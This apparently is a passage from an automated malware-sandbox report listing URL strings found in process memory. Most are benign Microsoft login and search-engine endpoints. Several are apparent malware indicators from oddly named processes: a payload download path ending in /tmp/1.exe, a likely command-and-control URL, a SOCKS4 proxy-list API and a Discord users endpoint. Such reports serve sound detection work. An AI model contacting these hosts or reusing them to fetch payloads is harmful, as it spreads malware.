Source: svchost.exe, 0000002A.00000002.4552683302.0000000005DC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.proxyscrape.com
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, svchost.exe, 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4552683302.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=10000&country=all&ssl
Source: svchost.exe, 0000002A.00000002.4552683302.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.proxyscrape.comL
Source: build16666.exe, 00000015.00000002.2727499728.00000166282C4000.00000004.00001000.00020000.00000000.sdmp, build16666.exe, 00000015.00000003.2724649462.00000166281EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bflow-musico.fun/Annie%20E.%20Vinton%20Elementary%20School?heajhvyh=HhGyJapR6QHO0GNqPiJwFkKr
Source: build16666.exe, 00000015.00000002.2726801236.00000166281CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bflow-musico.fun/g
Source: build16666.exe, 00000015.00000002.2726801236.00000166281D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bflow-musico.fun:443/Annie%20E.%20Vinton%20Elementary%20School?heajhvyh=HhGyJapR6QHO0GNqPiJw
Source: aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: RegSvcs.exe, 00000025.00000002.4024278753.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Hkbsse.exe, 00000017.00000002.4452507884.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foodbook.live/
Source: Hkbsse.exe, 00000017.00000002.4452507884.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foodbook.live/hZ
Source: Hkbsse.exe, 00000017.00000002.4452507884.0000000000974000.00000004.00000020.00020000.00000000.sdmp, Hkbsse.exe, 00000017.00000003.2824002567.000000000099C000.00000004.00000020.00020000.00000000.sdmp, Hkbsse.exe, 00000017.00000003.2824187353.00000000009A1000.00000004.00000020.00020000.00000000.sdmp, Hkbsse.exe, 00000017.00000003.2824002567.00000000009A1000.00000004.00000020.00020000.00000000.sdmp, Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp, Hkbsse.exe, 00000017.00000002.4452507884.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foodbook.live/tmp/1.exe
Source: Hkbsse.exe, 00000017.00000002.4452507884.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foodbook.live/tmp/1.exe3W#
Source: Hkbsse.exe, 00000017.00000002.4452507884.0000000000974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foodbook.live/tmp/1.exe4s
Source: svchost.exe, 0000000C.00000003.2101487397.000001AA91FD3000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000C.00000003.2101487397.000001AA91F60000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: svchost.exe, 0000000D.00000002.4103645844.0000027EC0F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4101489778.0000027EC0F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.li
Source: svchost.exe, 0000000D.00000002.4104083851.0000027EC1E5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4104041083.0000027EC1E35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 0000000D.00000002.4103985495.0000027EC1E15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srfs
Source: svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf~
Source: svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108652806.0000027EC1756000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103645844.0000027EC0F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4101489778.0000027EC0F09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108652806.0000027EC1756000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000D.00000003.4097878074.0000027EC173A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097757885.0000027EC1737000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098268964.0000027EC1742000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098221308.0000027EC1741000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4100918588.0000027EC1746000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098315864.0000027EC1745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf~
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 0000000D.00000002.4102771346.0000027EC0E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST
Source: svchost.exe, 0000000D.00000003.4097878074.0000027EC173A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097757885.0000027EC1737000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098268964.0000027EC1742000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098221308.0000027EC1741000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4104041083.0000027EC1E35000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4100855946.0000027EC1743000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103556512.0000027EC0EE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 0000000D.00000002.4104365359.0000027EC1EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfrqwwnMM
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srfo.srf
Source: svchost.exe, 0000000D.00000003.4097878074.0000027EC173A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097757885.0000027EC1737000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098268964.0000027EC1742000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098221308.0000027EC1741000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4100918588.0000027EC1746000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098315864.0000027EC1745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105360073.0000027EC1710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000D.00000003.2108371573.0000027EC1727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000D.00000003.2108371573.0000027EC1727000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000D.00000003.2108371573.0000027EC1727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108652806.0000027EC1756000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600UE
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108263597.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4104041083.0000027EC1E35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 0000000D.00000003.2104497925.0000027EC172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502R
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108652806.0000027EC1756000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806043
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108036976.0000027EC1757000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
